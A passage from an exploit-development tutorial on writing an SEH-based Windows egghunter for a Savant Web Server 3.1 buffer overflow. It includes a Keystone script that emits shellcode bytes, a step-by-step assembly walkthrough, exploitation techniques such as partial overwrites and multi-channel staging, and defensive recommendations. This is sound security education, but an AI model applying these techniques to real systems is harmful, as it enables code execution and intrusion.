# Initialize Keystone in x86 32-bit mode
ks = Ks(KS_ARCH_X86, KS_MODE_32)
encoding, count = ks.asm(CODE)

print("Encoded %d instructions..." % count)

egghunter = ""
for dec in encoding:
    egghunter += "\\x{0:02x}".format(dec)

print('egghunter = ("' + egghunter + '")')
Full SEH egghunter Keystone script
Figure 20.1 — Complete SEH-based egghunter. Keystone handles labels and relative offsets. Source: original article.

20.3 Code Walkthrough

Execution begins with an unconditional JMP get_seh_address, the standard layout trick that puts the called function (build_exception_record) before the CALL site so the CALL’s return-address push gives us a pointer to a known location — the exception handler body itself.

JMP get_seh_address — egghunter starts by jumping forward
Figure 20.2 — Entry jump. Ordering required for CALL/POP technique. Source: original article.
get_seh_address — CALL to build_exception_record
Figure 20.3 — CALL pushes return address (handler address) and jumps to build_exception_record. Source: original article.

Inside build_exception_record, POP ECX captures the handler address. The egg signature is loaded into EAX. The handler address is pushed (as _EXCEPTION_REGISTRATION_RECORD.Handler), and 0xFFFFFFFF is pushed as the Next field (the canonical chain terminator). EBX is zeroed and MOV DWORD PTR FS:[EBX], ESP installs the record at the head of the SEH chain.

build_exception_record — complete block
Figure 20.4 — Builder constructs minimal _EXCEPTION_REGISTRATION_RECORD on stack. Source: original article.
POP ECX — retrieves handler address from stack
Figure 20.5 — ECX = absolute address of exception handler code. Source: original article.
MOV EAX, 0x74303077 — load egg signature into EAX
Figure 20.6 — EAX = 4-byte egg value for REPE SCASD search. Source: original article.
PUSH ECX — Handler field of SEH record pushed to stack
Figure 20.7 — Handler pointer at [ESP+4] (_EXCEPTION_REGISTRATION_RECORD.Handler field). Source: original article.
PUSH 0xFFFFFFFF — Next field (chain terminator) pushed to stack
Figure 20.8 — Stack holds complete _EXCEPTION_REGISTRATION_RECORD: Next=0xFFFFFFFF at [ESP], Handler=address at [ESP+4]. Source: original article.
XOR EBX, EBX — zero EBX for FS:[0] offset and scan counter
Figure 20.9 — EBX = 0 (both offset for FS:[0] and memory address counter). Source: original article.
MOV FS:[EBX], ESP — install SEH record at FS:[0]
Figure 20.10 — Custom SEH record at head of exception chain. Source: original article.

The is_egg block is the heart of the scanner. PUSH 0x02; POP ECX loads the REPE repeat count of 2, so a single REPE SCASD compares two consecutive DWORDs against EAX (the w00t signature) — matching both halves of w00tw00t in one instruction. EDI is set to EBX, which doubles as the current scan address. If the address sits in an unmapped page, REPE SCASD faults, and the dispatcher invokes our handler. If the comparison runs successfully but the bytes do not match, ZF is cleared, JNZ loop_inc_one advances EBX by one byte, and the scan continues. On a full match, JMP EDI transfers control to the payload (EDI is already 8 bytes past the egg, exactly at the first byte of shellcode).

is_egg block — REPE SCASD double-DWORD comparison
Figure 20.11 — Egg-scanning block. EBX=address counter, EDI=SCASD pointer, ECX=repeat count. Source: original article.
PUSH 0x02; POP ECX — repeat count for REPE SCASD
Figure 20.12 — ECX = 2 means REPE SCASD checks two consecutive DWORDs. Source: original article.
MOV EDI, EBX — point scan pointer at current candidate address
Figure 20.13 — EDI points at memory address being tested. Source: original article.
REPE SCASD — atomic repeated double-DWORD comparison with page-fault handling
Figure 20.14 — REPE SCASD heart of SEH egghunter. Page fault during instruction transfers to handler. Source: original article.
JNZ loop_inc_one — mismatch; advance one byte
Figure 20.15 — Most addresses fail comparison. Loop increments counter, retries. Source: original article.
JMP EDI — egg matched; jump into payload
Figure 20.16 — Both DWORDs matched. EDI already 8 bytes past egg at first byte of shellcode. Egghunter done. Source: original article.

The handler block itself runs only when the dispatcher invokes it. PUSH 0x0C; POP ECX sets ECX to the offset of the CONTEXT* pointer within the dispatcher’s stack frame, and MOV EAX, [ESP+ECX] retrieves that pointer. The byte offset 0xB8 is the location of Eip inside the CONTEXT structure for 32-bit x86; ADD DWORD PTR [EAX+ECX], 0x06 advances the saved EIP by six bytes — just enough to skip past the faulting instruction so the scanner resumes at loop_inc_page. The handler then cleans up the dispatcher’s frame, zeros EAX (EXCEPTION_CONTINUE_EXECUTION), and returns. Control flow returns to scanning, but now one whole page further on, sidestepping the entire unmapped region in a single fault.

Key Takeaways

  • Space constraints drive the architecture. Crash buffers of 60–120 bytes cannot hold a 350–500 byte staged payload; the only sustainable answer is two-stage delivery using a tiny scanner stub combined with a separately-staged secondary buffer.
  • The egg marker decouples the payload from heap layout. Prefixing the staged payload with a fixed token (here w00tw00t) lets the scanner resolve the address at runtime, removing any dependence on heap-allocation determinism.
  • Kernel probing keeps the process alive during scans. Either INT 0x2E with NtAccessCheckAndAuditAlarm or SEH-handled REPE SCASD turn access violations into recoverable events instead of process kills, allowing safe traversal of the entire virtual address space.
  • Null-byte avoidance is an arithmetic problem. When a desired immediate (like syscall ordinal 0x1C8) carries embedded nulls, encode it via negation (MOV EAX, 0xFFFFFE38; NEG EAX) or rely on pre-zeroed destination memory to supply trailing nulls (the JZ rel32 trick).
  • SEH egghunters trade size for portability. The 63-byte SEH variant is larger than the 32-byte syscall version but works identically across Windows XP, 7, 10, and 11 without retuning the syscall ordinal — a major OPSEC win when targeting mixed environments.
  • Multi-channel staging maximizes per-byte freedom. Splitting delivery across the URL path (bad-char constrained) and HTTP body (unrestricted) lets each stage be optimized against the rules that actually apply to it.
  • Crash-time register analysis dictates gadget choice. Recognizing that esp+4 already pointed into the controlled buffer is what made the minimalist POP EAX; RET chain possible — not every overflow needs a long ROP gadget chain to control flow.

Defensive Recommendations

  • Enable mandatory ASLR and DEP across the entire image. ASLR randomizes both module bases and heap addresses, breaking the deterministic 0x00xxxxxx module layout that made the partial overwrite possible. DEP marks heap pages non-executable, blocking direct shellcode execution from the staged buffer.
  • Compile with SafeSEH, SEHOP, and Control Flow Guard. SafeSEH validates handler addresses at exception dispatch; SEHOP enforces SEH chain integrity at runtime; CFG constrains indirect call/jump targets. Together they make both syscall-based and SEH-based redirection meaningfully harder.
  • Replace unbounded string copies. Eliminate strcpy, strcat, sprintf, and gets in favor of length-checked variants (strncpy_s, snprintf) or modern container types. This kills the root-cause buffer overflow before any of the downstream chain can begin.
  • Validate and bound HTTP-layer input early. Reject oversized URL paths, oversized method tokens, and malformed headers at the protocol parser before the buffer copy occurs. A 8 KiB header cap and a strict method-token whitelist would have closed this vulnerability outright.
  • Document and unify input sanitization. If a parser truncates on specific byte values (like null terminators), apply that truncation uniformly across every input path. Inconsistent handling is what created the partial-overwrite primitive in this exploit.
  • Compile with /GS (stack cookies), /SAFESEH, and /DYNAMICBASE. Stack cookies disrupt naive linear overflows that overwrite a saved return address; /SAFESEH and /DYNAMICBASE add the linker-level pieces that pair with the runtime ASLR/SafeSEH protections to make exploit chains substantially more expensive.
  • Deploy ASR rules and host IPS signatures. Microsoft Defender Attack Surface Reduction (ASR) rules for “block executable content from email client and webmail” and “block process creations originating from PSExec and WMI commands” close common post-exploitation vectors. Host IPS signatures for INT 0x2E in user-mode code regions and for the canonical egghunter instruction patterns (the or dx, 0x0fff; inc edx sequence is highly distinctive) can flag exploitation attempts in real time.
  • Monitor for egghunter-class syscall patterns. Behavioral telemetry that watches for a high rate of access-violation exceptions originating from a single user-mode thread within a short window is a strong indicator of egghunter scanning. ETW providers like Microsoft-Windows-Threat-Intelligence and exception-dispatch instrumentation expose this signal cheaply to EDR pipelines.

Conclusion

Egghunters remain a foundational technique for converting cramped EIP-control primitives into full code execution on unmodernized Windows targets, and Savant Web Server 3.1 is a near-perfect teaching case because it forces every interesting decision: deal with a tiny crash buffer, work around a five-byte bad-character set including the null terminator, defeat a null-byte module base via partial overwrite, find a single-purpose POP EAX; RET gadget whose low three bytes are clean, jump out of the URL path into the method field with a null-free conditional jump whose displacement bytes are supplied by the server’s own pre-zeroed buffer, stage the payload through a second parser path that targets the heap, and finally choose between a compact 32-byte syscall-based scanner (with a NEG trick to handle the Windows 10 ordinal 0x1C8 without null bytes) or a slightly larger 63-byte SEH-based scanner that is fully portable across Windows builds. The chain demonstrates that constraints — the null terminator append, the pre-zeroed copy buffer — can be turned into mechanisms when the operator looks closely enough at what the parser does for them, and that the right egghunter is the one that solves the specific portability and size requirements of the engagement at hand.

Original text: “Overcoming Space Restrictions with Egghunters in Windows Exploit Development” by Remo (@Rem01x) at Remo’s Blog.

Comments are closed.